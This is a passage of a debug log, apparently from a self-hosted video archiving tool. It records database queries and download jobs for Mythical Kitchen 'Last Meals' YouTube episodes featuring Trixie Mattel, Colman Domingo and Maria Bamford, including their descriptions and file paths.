Mattel eats her last meal. \n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nCHAPTERS\n0:00 Trixie's Last Meal\n0:30 DragCon 2018\n1:05 Have You Thought About Your Last Meal Before?\n2:33 1st Course\n5:10 Potbelly Open Mic Rejection\n8:09 Love For Wisconsin\n10:33 RIP Checkers\n12:25 Trauma Is The Only Thing That Bonds Us All\n14:09 The Venn Diagram Of Trixie & Brian\n15:27 They Don't Have Issues With Drag, They Have Issues With Gay People\n16:35 2nd Course\n18:54 Putting On A Dress For The First Time\n20:20 RuPaul's Drag Race\n22:41 Josh's Drag Persona\n23:33 Where Trixie's Persona Came From\n25:07 Wanting To Be A Parent\n26:14 Don't You Have Potholes To Fill?!\n29:35 3rd Course\n31:04 Burnout & Taking A Sabbatical\n34:12 Friendship With Katya\n36:00 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:25 Trixie's Last Words\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Trixie Mattel Eats Her Last Meal", "https://www.youtube.com/watch?v=BkZcJFfJb9o", "BkZcJFfJb9o", 2556, false, "/downloads/Last Meals/2025-04-01 Trixie Mattel Eats Her Last Meal/Trixie Mattel Eats Her Last Meal [BkZcJFfJb9o].mp4", false, 1, ~U[2025-04-01 10:00:20Z]] 20:47:14.122 [debug] QUERY OK source="sources" db=0.2ms idle=63.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:14.122 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:14.123 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16] 20:47:14.124 [info] Kicking off download for media item #16 (BkZcJFfJb9o) 20:47:14.126 [debug] QUERY OK source="tasks" db=0.1ms idle=4.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [19, 16, ~U[2026-03-28 00:47:14Z], ~U[2026-03-28 00:47:14Z]] 20:47:14.126 [debug] Current batch of media processed. Will check again in 1000ms 20:47:15.127 [debug] Current batch of media processed. Will check again in 1000ms 20:47:16.128 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Colman Domingo eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Colman's Last Meal\n0:20 Colman Loves A Nude Beach\n1:34 How Often Do You Think About Death?\n2:50 1st Course\n5:50 Birthday Oysters & Recentering\n6:30 A Prayer To The Crescent Moon\n8:14 Comedy Is Harder Than Drama\n10:40 Career Beginnings In San Francisco\n13:32 \"I Think You Have A Gift\"\n15:30 \"Protect Your Art Like You Would A Child\"\n16:43 2nd Course\n19:08 Honoring Edith\n20:50 Wild With Happy\n21:26 Believing At Disneyland\n22:58 Letters To Oprah\n24:23 Bartending Days\n26:58 Intentional Community & Almost Joining A Cult\n28:16 3rd Course\n28:40 Infusing A Personal Story Into Sing Sing\n31:11 Helping Men Be More Vulnerable\n34:10 Stay Liberated\n35:27 Playing Anger Is Easy; Playing Hurt Is Difficult\n36:07 Death Is A Thief\n38:09 Josh's Dad Loved A Discount\n39:57 What Do You Think Happens When You Die?\n40:49 Lightning Round\n43:01 Colman's Last Words\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2620, "filename" => "/downloads/Last Meals/2025-08-19 Colman Domingo Eats His Last Meal/Colman Domingo Eats His Last Meal [zq_xrmmyWCE].mp4", "id" => "zq_xrmmyWCE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zq_xrmmyWCE", "playlist_index" => 17, "timestamp" => 1755597702, "title" => "Colman Domingo Eats His Last Meal", "upload_date" => "20250819"} 20:47:16.129 [debug] QUERY OK source="sources" db=0.3ms idle=130.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:16.130 [debug] QUERY OK source="sources" db=0.2ms idle=72.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:16.131 [debug] QUERY OK source="media_items" db=0.3ms idle=73.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-19 10:01:42Z], 1] 20:47:16.134 [debug] QUERY OK source="media_items" db=2.5ms idle=73.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Colman Domingo eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Colman's Last Meal\n0:20 Colman Loves A Nude Beach\n1:34 How Often Do You Think About Death?\n2:50 1st Course\n5:50 Birthday Oysters & Recentering\n6:30 A Prayer To The Crescent Moon\n8:14 Comedy Is Harder Than Drama\n10:40 Career Beginnings In San Francisco\n13:32 \"I Think You Have A Gift\"\n15:30 \"Protect Your Art Like You Would A Child\"\n16:43 2nd Course\n19:08 Honoring Edith\n20:50 Wild With Happy\n21:26 Believing At Disneyland\n22:58 Letters To Oprah\n24:23 Bartending Days\n26:58 Intentional Community & Almost Joining A Cult\n28:16 3rd Course\n28:40 Infusing A Personal Story Into Sing Sing\n31:11 Helping Men Be More Vulnerable\n34:10 Stay Liberated\n35:27 Playing Anger Is Easy; Playing Hurt Is Difficult\n36:07 Death Is A Thief\n38:09 Josh's Dad Loved A Discount\n39:57 What Do You Think Happens When You Die?\n40:49 Lightning Round\n43:01 Colman's Last Words\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Colman Domingo Eats His Last Meal", "67e924a3-f628-4307-8c4c-db6c0de7dfd9", "https://www.youtube.com/watch?v=zq_xrmmyWCE", false, "zq_xrmmyWCE", 2620, false, 17, "/downloads/Last Meals/2025-08-19 Colman Domingo Eats His Last Meal/Colman Domingo Eats His Last Meal [zq_xrmmyWCE].mp4", false, false, 1, [], 0, ~U[2025-08-19 10:01:42Z], ~U[2026-03-28 00:47:16Z], ~U[2026-03-28 00:47:16Z], "Today, Colman Domingo eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Colman's Last Meal\n0:20 Colman Loves A Nude Beach\n1:34 How Often Do You Think About Death?\n2:50 1st Course\n5:50 Birthday Oysters & Recentering\n6:30 A Prayer To The Crescent Moon\n8:14 Comedy Is Harder Than Drama\n10:40 Career Beginnings In San Francisco\n13:32 \"I Think You Have A Gift\"\n15:30 \"Protect Your Art Like You Would A Child\"\n16:43 2nd Course\n19:08 Honoring Edith\n20:50 Wild With Happy\n21:26 Believing At Disneyland\n22:58 Letters To Oprah\n24:23 Bartending Days\n26:58 Intentional Community & Almost Joining A Cult\n28:16 3rd Course\n28:40 Infusing A Personal Story Into Sing Sing\n31:11 Helping Men Be More Vulnerable\n34:10 Stay Liberated\n35:27 Playing Anger Is Easy; Playing Hurt Is Difficult\n36:07 Death Is A Thief\n38:09 Josh's Dad Loved A Discount\n39:57 What Do You Think Happens When You Die?\n40:49 Lightning Round\n43:01 Colman's Last Words\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Colman Domingo Eats His Last Meal", "https://www.youtube.com/watch?v=zq_xrmmyWCE", "zq_xrmmyWCE", 2620, false, "/downloads/Last Meals/2025-08-19 Colman Domingo Eats His Last Meal/Colman Domingo Eats His Last Meal [zq_xrmmyWCE].mp4", false, 1, ~U[2025-08-19 10:01:42Z]] 20:47:16.135 [debug] QUERY OK source="sources" db=0.4ms idle=77.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:16.136 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:16.136 [debug] QUERY OK source="media_items" db=0.4ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [17] 20:47:16.136 [info] Kicking off download for media item #17 (zq_xrmmyWCE) 20:47:16.139 [debug] QUERY OK source="tasks" db=0.2ms idle=3.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [20, 17, ~U[2026-03-28 00:47:16Z], ~U[2026-03-28 00:47:16Z]] 20:47:16.139 [debug] Current batch of media processed. Will check again in 1000ms 20:47:17.140 [debug] Current batch of media processed. Will check again in 1000ms 20:47:18.142 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Maria Bamford's last meal. Last Meals Ep.3 \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1539, "filename" => "/downloads/Last Meals/2022-03-08 Maria Bamford Eats Her Last Meal/Maria Bamford Eats Her Last Meal [T0sfBmVMT_Q].mp4", "id" => "T0sfBmVMT_Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=T0sfBmVMT_Q", "playlist_index" => 18, "timestamp" => 1646737215, "title" => "Maria Bamford Eats Her Last Meal", "upload_date" => "20220308"} 20:47:18.142 [debug] QUERY OK source="sources" db=0.3ms idle=140.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:18.143 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=85.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:18.144 [debug] QUERY OK source="media_items" db=0.3ms idle=86.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-08 11:00:15Z], 1] 20:47:18.148 [debug] QUERY OK source="media_items" db=2.7ms idle=87.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Maria Bamford's last meal. Last Meals Ep.3 \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Maria Bamford Eats Her Last Meal", "982c61af-341f-4d43-9e33-23e428676c68", "https://www.youtube.com/watch?v=T0sfBmVMT_Q", false, "T0sfBmVMT_Q", 1539, false, 18, "/downloads/Last Meals/2022-03-08 Maria Bamford Eats Her Last Meal/Maria Bamford Eats Her Last Meal [T0sfBmVMT_Q].mp4", false, false, 1, [], 0, ~U[2022-03-08 11:00:15Z], ~U[2026-03-28 00:47:18Z], ~U[2026-03-28 00:47:18Z], "Today, Josh is 